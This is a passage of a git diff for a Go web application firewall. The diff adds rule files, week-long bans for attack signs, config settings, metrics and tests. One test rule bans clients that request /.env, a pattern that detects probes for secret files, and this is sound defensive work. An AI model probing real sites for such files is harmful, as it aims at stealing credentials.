1 for an attack", third) + } +} + +func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.9/32") + + // Three times the seven days would be permanent; a limit broken as the + // ban for an attack ends bans for an hour, as a first broken limit does. + attack := ledger.BanForAttack(netblock, midnight(), bans.Notes{}) + limit := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{}) + + if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit { + t.Errorf("the ban for a limit is %+v, want one of an hour", limit) + } + + // And a request during the ban for a limit leaves it as it is. + got, _ := ledger.Check(netblock.Addr(), limit.Start) + if got.Permanent() { + t.Error("a request during a ban for a limit made it permanent") } } @@ -269,6 +364,7 @@ func defaultRules() bans.Rules { LimitBanDuration: time.Hour, LimitBanRepeatWindow: day, MaxBanDuration: 7 * day, + AttackBanDuration: 7 * day, MaxBans: 5000, } } diff --git a/internal/bans/snapshot_test.go b/internal/bans/snapshot_test.go index 3a1a651..7db1c44 100644 --- a/internal/bans/snapshot_test.go +++ b/internal/bans/snapshot_test.go @@ -82,8 +82,9 @@ func TestLoadedBansCarryOn(t *testing.T) { } again := after.BanForLimit(netblock, ban.Expires, bans.Notes{}) - if again.Expires.Sub(again.Start) != 3*time.Hour || again.Notes.EarlierBans != 1 { - t.Errorf("the next ban lasts %s with %d earlier bans, want 3h and 1", + if again.Expires.Sub(again.Start) != 3*time.Hour || + again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { + t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit", again.Expires.Sub(again.Start), again.Notes.EarlierBans) } } @@ -178,7 +179,8 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) { Netblock: netblock, Start: midnight(), Expires: midnight().Add(9 * time.Hour), - Notes: bans.Notes{EarlierBans: 2}, + Cause: bans.CauseLimit, + Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 2}}, } admins := bans.Ban{ Netblock: netblock, @@ -191,10 +193,13 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) { // Once both have ended, a limit broken within the repeat window bans // for three times the 9 hours, and the notes count the two bans - // before the 9-hour one, it, and the admin's. + // before the 9-hour one and it, for a limit, and the admin's, without + // a cause. ban := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{}) - if ban.Expires.Sub(ban.Start) != 27*time.Hour || ban.Notes.EarlierBans != 4 { - t.Errorf("the next ban lasts %s with %d earlier bans, want 27h and 4", + if ban.Expires.Sub(ban.Start) != 27*time.Hour || + ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, WithoutCause: 1}) { + t.Errorf("the next ban lasts %s with earlier bans %+v, "+ + "want 27h, 3 for a limit and 1 without a cause", ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans) } } diff --git a/internal/config/config.go b/internal/config/config.go index 0b94680..941903e 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -34,8 +34,8 @@ type Config struct { InstanceName string // Observe is true in observe mode, when SWWAF_MODE is observe rather // than enforce: a request that SWWAF_DENY_NETS, a ban, the country - // lists or a rate limit would refuse is passed to the app instead, and - // no ban is made. + // lists, a rate limit or a rule would refuse is passed to the app + // instead, and no ban is made. Observe bool // TrustedProxies are the netblocks whose X-Forwarded-For is // believed (SWWAF_TRUSTED_PROXIES). @@ -94,7 +94,8 @@ type Config struct { // BanResponse is the status a refused client is answered with, 403 // or 429, or 0 to close the connection without an answer // (SWWAF_BAN_RESPONSE). It answers a banned client, a request that - // breaks a rate limit, SWWAF_DENY_NETS and the country lists. + // breaks a rate limit or matches a ban rule, SWWAF_DENY_NETS and the + // country lists. BanResponse int // LimitBanDuration is the ban for a first broken rate limit // (SWWAF_LIMIT_BAN_DURATION). A limit broken again within @@ -105,6 +106,9 @@ type Config struct { LimitBanDuration time.Duration LimitBanRepeatWindow time.Duration MaxBanDuration time.Duration + // AttackBanDuration is the ban for a first clear sign of attack + // (SWWAF_ATTACK_BAN_DURATION). It cannot be off. + AttackBanDuration time.Duration // MaxBans is the most bans held (SWWAF_MAX_BANS). MaxBans int // BanScopeV4Prefix is the length of the netblock around an IPv4 @@ -127,6 +131,10 @@ type Config struct { // metrics (SWWAF_METRICS_TOP_N). MetricsToken string MetricsTopN int + // RulesDir is the directory of the rule files (SWWAF_RULES_DIR), read + // unless RulesEnabled is false (SWWAF_RULES_ENABLED). + RulesDir string + RulesEnabled bool // settings are the values read, as given or by default, for the // log line at start. @@ -187,6 +195,7 @@ var ( errNotMode = errors.New("is not enforce or observe") errNotPathPrefix = errors.New( "is not a path prefix starting with /, such as /assets/") + errNotBoolean = errors.New("is not true or false") ) // FromEnvironment reads the settings with lookupEnv, normally @@ -224,6 +233,7 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { LimitBanDuration: env.durationNotOff("SWWAF_LIMIT_BAN_DURATION", "1h"), LimitBanRepeatWindow: env.durationNotOff("SWWAF_LIMIT_BAN_REPEAT_WINDOW", "24h"), MaxBanDuration: env.durationNotOff("SWWAF_MAX_BAN_DURATION", "7d"), + AttackBanDuration: env.durationNotOff("SWWAF_ATTACK_BAN_DURATION", "7d"), MaxBans: env.numberNotOff("SWWAF_MAX_BANS", "5000"), BanScopeV4Prefix: env.v4Prefix("SWWAF_BAN_SCOPE_V4_PREFIX", "32"), StateDir: env.absolutePath("SWWAF_STATE_DIR", "/var/lib/smallwebwaf"), @@ -233,6 +243,8 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { "accept,accept-language,accept-encoding,content-type,origin,range"), MetricsToken: env.token("SWWAF_METRICS_TOKEN"), MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), + RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"), + RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"), } for _, country := range cfg.ExclusivelyAllowedCountries { @@ -316,6 +328,16 @@ func (e *environment) observe(name, defaultValue string) bool { return mode == "observe" } +// boolean reads a setting that is true or false. +func (e *environment) boolean(name, defaultValue string) bool { + value := e.value(name, defaultValue) + if value != "true" && value != "false" { + e.check(name, fmt.Errorf("%q %w", value, errNotBoolean)) + } + + return value == "true" +} + // netblocks reads a setting that is a list of netblocks. func (e *environment) netblocks(name, defaultValue string) []netip.Prefix { netblocks, err := parseNetblocks(e.value(name, defaultValue)) @@ -730,6 +752,22 @@ func parseCountries(value string) ([]string, error) { const headerNameChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" + "0123456789!#$%&'*+-.^_`|~" +// IsHeaderName reports whether name can be a header name: one or more of +// the characters RFC 9110 allows in one. +func IsHeaderName(name string) bool { + if name == "" { + return false + } + + for _, char := range name { + if !strings.ContainsRune(headerNameChars, char) { + return false + } + } + + return true +} + // parseHeaderNames reads a comma-separated list of header names in either // case, and returns them in lower case. Host and Transfer-Encoding are // refused: Go's HTTP server takes them out of the request's headers. @@ -742,10 +780,8 @@ func parseHeaderNames(value string) ([]string, error) { headers := make([]string, 0, len(items)) for _, item := range items { - for _, char := range item { - if !strings.ContainsRune(headerNameChars, char) { - return nil, fmt.Errorf("%q %w", item, errNotHeaderName) - } + if !IsHeaderName(item) { + return nil, fmt.Errorf("%q %w", item, errNotHeaderName) } header := strings.ToLower(item) diff --git a/internal/config/config_test.go b/internal/config/config_test.go index cfb1a6e..a9c326a 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -42,6 +42,7 @@ const ( limitBanDuration = "SWWAF_LIMIT_BAN_DURATION" limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW" maxBanDuration = "SWWAF_MAX_BAN_DURATION" + attackBanDuration = "SWWAF_ATTACK_BAN_DURATION" maxBans = "SWWAF_MAX_BANS" banScopeV4Prefix = "SWWAF_BAN_SCOPE_V4_PREFIX" stateDir = "SWWAF_STATE_DIR" @@ -51,6 +52,8 @@ const ( metricsTopN = "SWWAF_METRICS_TOP_N" instanceName = "SWWAF_INSTANCE_NAME" logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS" + rulesDir = "SWWAF_RULES_DIR" + rulesEnabled = "SWWAF_RULES_ENABLED" ) // defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS. @@ -108,6 +111,7 @@ func TestDefaults(t *testing.T) { LimitBanDuration: time.Hour, LimitBanRepeatWindow: 24 * time.Hour, MaxBanDuration: 7 * 24 * time.Hour, + AttackBanDuration: 7 * 24 * time.Hour, MaxBans: 5000, BanScopeV4Prefix: 32, StateDir: "/var/lib/smallwebwaf", @@ -115,6 +119,8 @@ func TestDefaults(t *testing.T) { StateCounterInterval: 15 * time.Minute, MetricsToken: "", MetricsTopN: 50, + RulesDir: "/etc/smallwebwaf/rules.d", + RulesEnabled: true, }) if cfg.UpstreamURL.String() != "http://127.0.0.1:8081" { @@ -168,13 +174,13 @@ func TestValuesAsSet(t *testing.T) { rateLimitPerMinute: "60", rateLimitPerHour: "600", rateLimitPerDay: "6000", - rateLimitExemptPaths: "/assets/, /favicon.ico", deniedCountries: "cn, RU,kp,Xk", allowedCountries: "de", banResponse: "429", limitBanDuration: "15m", limitBanRepeatWindow: "2d", maxBanDuration: "30d", + attackBanDuration: "1d", maxBans: "100", banScopeV4Prefix: "24", stateDir: "/srv/waf-state", @@ -182,6 +188,8 @@ func TestValuesAsSet(t *testing.T) { stateCounterInterval: "1h", metricsToken: token, metricsTopN: "10", + rulesDir: "/srv/waf-rules", + rulesEnabled: "false", }) wantSettings(t, cfg, config.Config{ @@ -202,6 +210,7 @@ func TestValuesAsSet(t *testing.T) { LimitBanDuration: 15 * time.Minute, LimitBanRepeatWindow: 48 * time.Hour, MaxBanDuration: 30 * 24 * time.Hour, + AttackBanDuration: 24 * time.Hour, MaxBans: 100, BanScopeV4Prefix: 24, StateDir: "/srv/waf-state", @@ -209,6 +218,8 @@ func TestValuesAsSet(t *testing.T) { StateCounterInterval: time.Hour, MetricsToken: token, MetricsTopN: 10, + RulesDir: "/srv/waf-rules", + RulesEnabled: false, }) if cfg.UpstreamURL.String() != "https://app.internal:8443/" { @@ -221,6 +232,12 @@ func TestValuesAsSet(t *testing.T) { wantNetblocks(t, cfg.DenyNets, "198.51.100.0/24") wantCountries(t, deniedCountries, cfg.DeniedCountries, "CN", "RU", "KP", "XK") wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE") +} + +func TestRateLimitExemptPathsAsSet(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{rateLimitExemptPaths: "/assets/, /favicon.ico"}) if !slices.Equal(cfg.RateLimitExemptPaths, []string{"/assets/", "/favicon.ico"}) { t.Errorf("%s gave %v, want /assets/ and /favicon.ico", @@ -356,7 +373,7 @@ func TestTrustedProxiesSetButEmptyTrustNothing(t *testing.T) { func TestInvalidValueStopsTheStart(t *testing.T) { t.Parallel() - for _, tc := range []struct{ name, value string }{ + wantStartStopped(t, []struct{ name, value string }{ {listenAddr, "8080"}, {listenAddr, ":http"}, {listenAddr, ":65536"}, {upstreamURL, "127.0.0.1:8081"}, {upstreamURL, "ftp://127.0.0.1:8081"}, @@ -406,21 +423,37 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {allowedCountries, "uk"}, {allowedCountries, "zz"}, {allowedCountries, "de,germany"}, - {banResponse, "404"}, {banResponse, "drop"}, {banResponse, ""}, - {limitBanDuration, off}, {limitBanDuration, "0s"}, {limitBanDuration, "1"}, - {limitBanRepeatWindow, off}, {limitBanRepeatWindow, "-1h"}, - {maxBanDuration, off}, {maxBanDuration, "1w"}, - {maxBans, off}, {maxBans, "0"}, {maxBans, "5K"}, - {banScopeV4Prefix, "33"}, {banScopeV4Prefix, "-1"}, {banScopeV4Prefix, "/24"}, - {stateDir, ""}, {stateDir, "state"}, {stateDir, "./var/lib/smallwebwaf"}, - {stateWriteDelay, off}, {stateWriteDelay, "0s"}, - {stateCounterInterval, off}, {stateCounterInterval, "15"}, {metricsTopN, off}, {metricsTopN, "0"}, {metricsTopN, "-1"}, {logRequestHeaders, "accept,,origin"}, {logRequestHeaders, "accept;origin"}, {logRequestHeaders, "accept language"}, {logRequestHeaders, "x-foo:"}, {logRequestHeaders, "host"}, {logRequestHeaders, "accept,Host"}, {logRequestHeaders, "transfer-encoding"}, {logRequestHeaders, "TRANSFER-ENCODING"}, - } { + {rulesEnabled, "yes"}, {rulesEnabled, "True"}, + }) +} + +func TestInvalidBanOrStateValueStopsTheStart(t *testing.T) { + t.Parallel() + + wantStartStopped(t, []struct{ name, value string }{ + {banResponse, "404"}, {banResponse, "drop"}, {banResponse, ""}, + {limitBanDuration, off}, {limitBanDuration, "0s"}, {limitBanDuration, "1"}, + {limitBanRepeatWindow, off}, {limitBanRepeatWindow, "-1h"}, + {maxBanDuration, off}, {maxBanDuration, "1w"}, {attackBanDuration, off}, + {maxBans, off}, {maxBans, "0"}, {maxBans, "5K"}, + {banScopeV4Prefix, "33"}, {banScopeV4Prefix, "-1"}, {banScopeV4Prefix, "/24"}, + {stateDir, ""}, {stateDir, "state"}, {stateDir, "./var/lib/smallwebwaf"}, + {stateWriteDelay, off}, {stateWriteDelay, "0s"}, + {stateCounterInterval, off}, {stateCounterInterval, "15"}, + }) +} + +// wantStartStopped checks that each setting, set to its value, stops the +// start with an error that names the setting. +func wantStartStopped(t *testing.T, invalid []struct{ name, value string }) { + t.Helper() + + for _, tc := range invalid { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() @@ -536,6 +569,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { limitBanDuration: "1h", limitBanRepeatWindow: "24h", maxBanDuration: "7d", + attackBanDuration: "7d", maxBans: "5000", banScopeV4Prefix: "32", stateDir: "/var/lib/smallwebwaf", @@ -545,6 +579,8 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { metricsTopN: "50", instanceName: hostname, logRequestHeaders: defaultLogRequestHeaders, + rulesDir: "/etc/smallwebwaf/rules.d", + rulesEnabled: "true", } if !maps.Equal(line.Settings, want) { t.Errorf("logged settings\n%v\nwant\n%v", line.Settings, want) @@ -574,8 +610,8 @@ func wantSettings(t *testing.T, got *config.Config, want config.Config) { wantBanSettings(t, got, want) } -// wantBanSettings checks the settings for bans, the state files and the -// metrics. +// wantBanSettings checks the settings for bans, the state files, the +// metrics and the rule files. func wantBanSettings(t *testing.T, got *config.Config, want config.Config) { t.Helper() @@ -583,11 +619,17 @@ func wantBanSettings(t *testing.T, got *config.Config, want config.Config) { got.LimitBanDuration != want.LimitBanDuration || got.LimitBanRepeatWindow != want.LimitBanRepeatWindow || got.MaxBanDuration != want.MaxBanDuration || + got.AttackBanDuration != want.AttackBanDuration || got.MaxBans != want.MaxBans || got.BanScopeV4Prefix != want.BanScopeV4Prefix { t.Errorf("ban settings\n%+v\nwant\n%+v", got, want) } + if got.RulesDir != want.RulesDir || got.RulesEnabled != want.RulesEnabled { + t.Errorf("rule files in %q, on: %t, want %q, %t", + got.RulesDir, got.RulesEnabled, want.RulesDir, want.RulesEnabled) + } + if got.StateDir != want.StateDir || got.StateWriteDelay != want.StateWriteDelay || got.StateCounterInterval != want.StateCounterInterval { diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index f08a714..52f969a 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -14,6 +14,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/requestlog" + "sneak.berlin/go/smallwebwaf/internal/rules" ) // Metrics are smallwebwaf's metrics. They are safe for concurrent use. @@ -30,7 +31,9 @@ type Metrics struct { rateLimitHits *prometheus.CounterVec sizeAndTimeLimitHits *prometheus.CounterVec offences *prometheus.CounterVec - countries *countries + // ruleMatches are made by AddRules. + ruleMatches *prometheus.CounterVec + countries *countries // GeoJSRequests are the requests to GeoJS, and GeoJSFailures those // that failed. GeoJSUnanswered are the requests whose client counted @@ -135,19 +138,22 @@ func New(topN int) *Metrics { // AddBansAndClients adds the metrics read from the ledger and the table // of clients as the metrics are asked for: the bans made since the start, -// the bans active and permanent at now, and the clients in the table. +// by cause, the bans active and permanent at now, and the clients in the +// table. func (m *Metrics) AddBansAndClients( ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time, ) { - m.registry.MustRegister( - // Every ban smallwebwaf makes so far is for a broken limit. - prometheus.NewCounterFunc(prometheus.CounterOpts{ + for _, cause := range []string{bans.CauseLimit, bans.CauseAttack} { + m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ Name: "smallwebwaf_bans_made_total", Help: "Bans made, by cause.", - ConstLabels: prometheus.Labels{"cause": "limit"}, + ConstLabels: prometheus.Labels{"cause": cause}, }, func() float64 { - return float64(ledger.Made()) - }), + return float64(ledger.Made(cause)) + })) + } + + m.registry.MustRegister( prometheus.NewGaugeFunc(prometheus.GaugeOpts{ Name: "smallwebwaf_active_bans", Help: "Bans active now, the permanent ones included.", @@ -173,6 +179,24 @@ func (m *Metrics) AddBansAndClients( ) } +// AddRules adds the metrics of the rule files: the requests that matched +// each rule, which RuleMatched counts, and the rules loaded from +// ruleFiles, read as the metrics are asked for. It is called once, before +// RuleMatched. +func (m *Metrics) AddRules(ruleFiles *rules.Files) { + m.ruleMatches = counterVec("smallwebwaf_rule_matches_total", + "Requests that matched a rule of the rule files, by its id and action.", + []string{"rule_id", "action"}) + + m.registry.MustRegister(m.ruleMatches, + prometheus.NewGaugeFunc(prometheus.GaugeOpts{ + Name: "smallwebwaf_rules_loaded", + Help: "Rules loaded from the rule files.", + }, func() float64 { + return float64(ruleFiles.Len()) + })) +} + // ServeHTTP answers with the metrics in the Prometheus text format. func (m *Metrics) ServeHTTP(w http.ResponseWriter, r *http.Request) { m.handler.ServeHTTP(w, r) @@ -219,6 +243,12 @@ func (m *Metrics) RequestEnded( } } +// RuleMatched counts a request that matched the rule id, whose action is +// action. +func (m *Metrics) RuleMatched(id, action string) { + m.ruleMatches.WithLabelValues(id, action).Inc() +} + // StateFileWritten counts a write of the state file name, of size bytes, // that ended with err. func (m *Metrics) StateFileWritten(name string, size int, err error) { diff --git a/internal/proxy/bans.go b/internal/proxy/bans.go index 96abb66..e9b3c86 100644 --- a/internal/proxy/bans.go +++ b/internal/proxy/bans.go @@ -6,6 +6,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/requestlog" + "sneak.berlin/go/smallwebwaf/internal/rules" ) // banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged @@ -54,20 +55,12 @@ func (rq *request) limitBroken(now time.Time) bool { netblock := rq.netblock() ban := rq.h.ledger.BanForLimit(netblock, now, bans.Notes{ - Country: rq.line.Country, - Limit: hit.Limit, - Window: hit.Window, - Count: hit.Requests, - Request: bans.Request{ - Time: now, - Method: rq.in.Method, - Host: rq.in.Host, - Path: rq.in.URL.RequestURI(), - Status: rq.h.config.BanResponse, - UserAgent: rq.in.UserAgent(), - }, - // The histories count this request only once it has ended. - Requests: rq.h.limiter.Requests(netblock) + 1, + Country: rq.line.Country, + Limit: hit.Limit, + Window: hit.Window, + Count: hit.Requests, + Request: rq.noted(now), + Requests: rq.netblockRequests(netblock), }) rq.h.limiter.Reset(group) rq.line.BanExpires = banExpires(ban) @@ -75,6 +68,40 @@ func (rq *request) limitBroken(now time.Time) bool { return true } +// banForAttack bans the client's netblock at now for a clear sign of +// attack, the match of rule, a ban rule. +func (rq *request) banForAttack(now time.Time, rule rules.Rule) { + netblock := rq.netblock() + ban := rq.h.ledger.BanForAttack(netblock, now, bans.Notes{ + Country: rq.line.Country, + RuleID: rule.ID, + Target: rule.Target, + Request: rq.noted(now), + Requests: rq.netblockRequests(netblock), + }) + rq.line.BanExpires = banExpires(ban) +} + +// noted is the request, refused at now with SWWAF_BAN_RESPONSE, as the +// notes of the ban it makes keep it. +func (rq *request) noted(now time.Time) bans.Request { + return bans.Request{ + Time: now, + Method: rq.in.Method, + Host: rq.in.Host, + Path: rq.in.URL.RequestURI(), + Status: rq.h.config.BanResponse, + UserAgent: rq.in.UserAgent(), + } +} + +// netblockRequests is how many requests netblock has sent since it was +// first seen, this one included: the histories count it only once it has +// ended. +func (rq *request) netblockRequests(netblock netip.Prefix) int64 { + return rq.h.limiter.Requests(netblock) + 1 +} + // netblock is the netblock a ban on the client covers: its IPv4 address, // widened to SWWAF_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup // counts it in. diff --git a/internal/proxy/bans_test.go b/internal/proxy/bans_test.go index 5683aa2..889a2ce 100644 --- a/internal/proxy/bans_test.go +++ b/internal/proxy/bans_test.go @@ -278,6 +278,7 @@ func TestBanNotes(t *testing.T) { Netblock: netblock, Start: start, Expires: start.Add(time.Hour), + Cause: bans.CauseLimit, Notes: bans.Notes{ Country: "DE", Limit: 1, @@ -295,7 +296,7 @@ func TestBanNotes(t *testing.T) { // refused under the ban. Requests: 4, Refused: 2, - EarlierBans: 0, + EarlierBans: bans.EarlierBans{}, }, } @@ -312,8 +313,8 @@ func TestBanNotes(t *testing.T) { s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited) got = ledger.Bans(netblock) - if len(got) != 2 || got[1].Notes.EarlierBans != 1 { - t.Errorf("bans %+v, want two, the second with one earlier ban", got) + if len(got) != 2 || got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { + t.Errorf("bans %+v, want two, the second with one earlier ban for a limit", got) } } diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index a651f4d..3d5e3b3 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -17,6 +17,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/metrics" "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/requestlog" + "sneak.berlin/go/smallwebwaf/internal/rules" ) // How smallwebwaf keeps connections to the app open between requests. @@ -51,6 +52,9 @@ type Params struct { // limits, bans are made and run out, and GeoJS's answers are kept, // normally time.Now in UTC, the time the state files give. Now func() time.Time + // Rules are the rule files' rules, which each request is checked + // against. + Rules *rules.Files } // Server is the server smallwebwaf runs, with the parts of the proxy @@ -90,6 +94,7 @@ func New(params Params) *Server { LimitBanDuration: params.Config.LimitBanDuration, LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow, MaxBanDuration: params.Config.MaxBanDuration, + AttackBanDuration: params.Config.AttackBanDuration, MaxBans: params.Config.MaxBans, }), geojs: lookup.New(lookup.Params{ @@ -98,8 +103,10 @@ func New(params Params) *Server { ProcessLog: params.ProcessLog, Metrics: m, }), + rules: params.Rules, } m.AddBansAndClients(h.ledger, h.limiter, params.Now) + m.AddRules(params.Rules) return &Server{ Server: &http.Server{ @@ -134,6 +141,7 @@ type handler struct { limiter *ratelimit.Limiter ledger *bans.Ledger geojs *lookup.GeoJS + rules *rules.Files } // newTransport returns what carries requests to the app. It never goes diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index 4a3980d..11fca3b 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -17,6 +17,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/proxy" "sneak.berlin/go/smallwebwaf/internal/requestlog" + "sneak.berlin/go/smallwebwaf/internal/rules" ) const ( @@ -74,6 +75,8 @@ const ( banScopeV4Prefix = "SWWAF_BAN_SCOPE_V4_PREFIX" instanceName = "SWWAF_INSTANCE_NAME" logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS" + attackBanDuration = "SWWAF_ATTACK_BAN_DURATION" + rulesDir = "SWWAF_RULES_DIR" ) // output collects what smallwebwaf writes on stdout. @@ -212,14 +215,15 @@ func startProxyWithGeoJS( } // startProxyWithClock is startProxyWithGeoJS with requests counted and -// bans made by the time now tells, and returns the server as well. +// bans made by the time now tells, and returns the server as well. Unless +// env sets SWWAF_RULES_DIR, it is an empty directory, of no rules. func startProxyWithClock( t *testing.T, appURL, geojsURL string, now func() time.Time, env map[string]string, ) (string, *output, *proxy.Server) { t.Helper() - settings := map[string]string{"SWWAF_UPSTREAM_URL": appURL} + settings := map[string]string{"SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir()} maps.Copy(settings, env) cfg, err := config.FromEnvironment(func(name string) (string, bool) { @@ -232,12 +236,22 @@ func startProxyWithClock( } out := &output{} + processLog := requestlog.NewProcessLogger(out) + + ruleFiles, err := rules.Load(rules.Params{ + Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog, + }) + if err != nil { + t.Fatalf("rule files: %v", err) + } + server := proxy.New(proxy.Params{ Config: cfg, RequestLog: out, - ProcessLog: requestlog.NewProcessLogger(out), + ProcessLog: processLog, GeoJSURL: geojsURL, Now: now, + Rules: ruleFiles, }) listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") diff --git a/internal/proxy/request.go b/internal/proxy/request.go index fded4b7..91b6642 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -159,20 +159,23 @@ func requestHeaders(r *http.Request, names []string) map[string]string { // check is the one place where a request can be refused once its client // is known, before its body is read or anything reaches the app. It // returns nil to let the request through. The checks of checkClient come -// first, answered with SWWAF_BAN_RESPONSE, and then the size limit, so -// that a request the rate limits count is counted even when it is -// refused for its size. In observe mode a request checkClient refuses -// goes on to the size limit like any other. ctx is the request's own -// context. +// first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule, and +// then the size limit, so that a request the rate limits count is counted +// even when it is refused for its size. In observe mode a request +// checkClient refuses goes on to the size limit like any other. ctx is +// the request's own context. func (rq *request) check(ctx context.Context) *refusal { action := rq.checkClient(ctx) - if action != "" { - if !rq.h.config.Observe { - return rq.banResponse(action) - } + switch { + case action == "": + case rq.h.config.Observe: // The log line names what enforce mode would have done. rq.line.WouldAction = action + case action == requestlog.ActionRuleBlocked: + return &refusal{status: http.StatusForbidden, action: action} + default: + return rq.banResponse(action) } maxBytes := rq.h.config.RequestMaxBytes @@ -195,8 +198,8 @@ func (rq *request) check(ctx context.Context) *refusal { // request any of them refuses is not counted for the rate limits. Then // come the rate limits, unless the client is in // SWWAF_RATE_LIMIT_EXEMPT_NETS or the request's path is exempt under -// SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that every other request is counted. -// ctx is the request's own context. +// SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that every other request is counted, +// and last the rule files. ctx is the request's own context. func (rq *request) checkClient(ctx context.Context) string { cfg := rq.h.config if isInside(rq.client, cfg.AllowNets) { @@ -223,7 +226,7 @@ func (rq *request) checkClient(ctx context.Context) string { return requestlog.ActionRateLimited } - return "" + return rq.checkRules(now) } // pathExempt reports whether the rate limits leave out a request for u diff --git a/internal/proxy/rulefiles_test.go b/internal/proxy/rulefiles_test.go new file mode 100644 index 0000000..9bff779 --- /dev/null +++ b/internal/proxy/rulefiles_test.go @@ -0,0 +1,232 @@ +package proxy_test + +import ( + "net/http" + "net/netip" + "os" + "path/filepath" + "slices" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/bans" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// testRules are the rules most tests here load: a block rule for +// /blocked and a ban rule for /.env. +const testRules = ` +blocked path block ^/blocked$ +probe path ban ^/\.env$ +` + +func TestEachRuleAction(t *testing.T) { + t.Parallel() + + s, clk, server := startWithClock(t, "", map[string]string{ + rulesDir: writeRules(t, "noted path log ^/\n"+testRules), + banResponse: "429", + }) + start := clk.Now() + + // A log rule notes its match, and lets the request through. + line := s.get(client, http.StatusOK, requestlog.ActionForward) + wantRuleIDs(t, line, "noted") + + // A block rule refuses with 403, whatever SWWAF_BAN_RESPONSE is, and + // bans no one. + line = s.request(client, "/blocked", http.StatusForbidden, + requestlog.ActionRuleBlocked) + wantRuleIDs(t, line, "noted", "blocked") + s.get(client, http.StatusOK, requestlog.ActionForward) + + // A ban rule refuses with SWWAF_BAN_RESPONSE, and bans the client for + // seven days, the default. + line = s.request(client, "/.env", http.StatusTooManyRequests, requestlog.ActionBanned) + wantRuleIDs(t, line, "noted", "probe") + + if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) { + t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires) + } + + netblock := netip.MustParsePrefix(client + "/32") + want := bans.Ban{ + Netblock: netblock, + Start: start, + Expires: start.Add(7 * 24 * time.Hour), + Cause: bans.CauseAttack, + Notes: bans.Notes{ + RuleID: "probe", + Target: "path", + Request: bans.Request{ + Time: start, + Method: http.MethodGet, + Host: appHost, + Path: "/.env", + Status: http.StatusTooManyRequests, + UserAgent: userAgent, + }, + // The four requests up to and including the probe. + Requests: 4, + }, + } + + got := server.Ledger.Bans(netblock) + if len(got) != 1 || got[0] != want { + t.Fatalf("bans\n%+v\nwant\n%+v", got, want) + } + + // The next request is refused under the ban, without being checked + // against the rules, and makes the ban permanent. + clk.advance(time.Hour) + + line = s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned) + wantRuleIDs(t, line) + + if line.BanExpires != permanent { + t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires) + } + + clk.advance(365 * 24 * time.Hour) + s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned) +} + +func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) { + t.Parallel() + + s, clk, _ := startWithClock(t, "", map[string]string{ + rulesDir: writeRules(t, testRules), + 